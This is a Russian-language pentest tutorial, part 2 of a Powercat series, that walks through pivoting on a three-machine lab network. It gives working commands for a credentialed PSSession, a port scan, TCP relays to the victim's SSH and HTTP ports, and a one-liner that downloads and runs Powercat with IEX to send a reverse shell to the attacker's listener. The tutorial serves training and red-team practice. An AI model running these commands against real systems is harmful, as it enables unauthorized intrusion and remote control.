Powercat для пентестинга. Часть 2
Туннелирование – это эффективный механизм сохранения скрытности при выполнении операций Red Team или в реальных скриптах. Powershell и Powercat могут помочь с туннелированием и сокрытием личности в следующий раз, когда пользователь будет проводить оценку.
Есть три машины. Хакер связывается с машиной с двумя сетевыми картами и атакует машину, работающую в альтернативной подсети (192.168.146.0/24).
Предположим, что злоумышленник уже имеет доступ к туннельной машине. Пользователь повторит скрипт с помощью команды «Enter-PSSession». Она позволяет получить интерактивный терминал Powershell туннеля с помощью учетных данных.
Enter-PSSession -ComputerName 192.168.1.45 -Credential raj
После ввода учетных данных пользователь видит, что был создан интерактивный сеанс PowerShell.
Он запускает «ipconfig» как команду валидатора, однако есть интересное наблюдение. На этой машине были настроены две карты локальной сети, и был подключен еще один адаптер. Возможно, в этой подсети работают и другие компьютеры.
Чтобы убедиться в этом, понадобится использовать Powercat в этой системе. Пользователь загружает его с помощью «wget».
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1 ls
Однако прежде чем запустить этот скрипт, нужно снова изменить политику выполнения. Кроме того, после небольшого анализа пользователь обнаружил, что 192.168.146.129 был жив и даже отвечал ему. Следует просканировать эту систему с помощью Powercat.
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned Import-Module .\powercat.ps1 (21, 22, 80, 443) | % { Powercat -c 192.168.146.129 -p $_ -t 1 -Verbose -d}
Как можно увидеть, были открыты три порта: 21, 22, 80.
Теперь, если пользователь настроит ретранслятор трафика, система хакера сможет обмениваться данными и подключаться по SSH к машине жертвы (192.168.146.129).
Человек будет использовать Powercat для настройки ретранслятора трафика:
powercat -l -p 9090 -r tcp:192.168.146.129:22 -v
TCP-трафик с порта 22 (192.168.146.129) теперь ретранслируется 192.168.146.128 (туннель) на порту 9090. Таким образом, из внешней системы пользователь использует PuTTY для подключения к порту 9090 туннельной машины, что соединяет его с машиной жертвы.
Вот так просто пользователь завершил туннелирование и получил доступ машине жертвы.
Можно также использовать Powercat для настройки ретрансляции на порту 80, через который пользователь сможет получить доступ к веб-сайту, работающему на базе машины жертвы.
powercat -l -p 9090 -r tcp:192.168.146.129:80 -v
Powercat One Liner
Powercat Reverse Shell также существует как однострочная команда. Предположим, что пользователю доступно выполнение кода на машине жертвы, он может использовать однострочный shell от Powercat, чтобы вернуть reverse shell на листенер, запущенный на машине хакера. Для этого процесса нужно загрузить Powercat в отдельную папку и запустить веб-сервер.
wget https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1 -o powercat.ps1 python -m SimpleHTTPServer 80
Пользователь немедленно настраивает листенер на порту 4444 на машине хакера (Kali). Тем временем у него есть выполнение кода на целевом объекте, поэтому он будет использовать следующий shell от Powercat:
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.3/powercat.ps1');powercat -c 192.168.1.3 -p 4444 -e cmd"
Как только человек нажимает на клавишу «Enter», он получает reverse shell для листенера, работающего в Kali.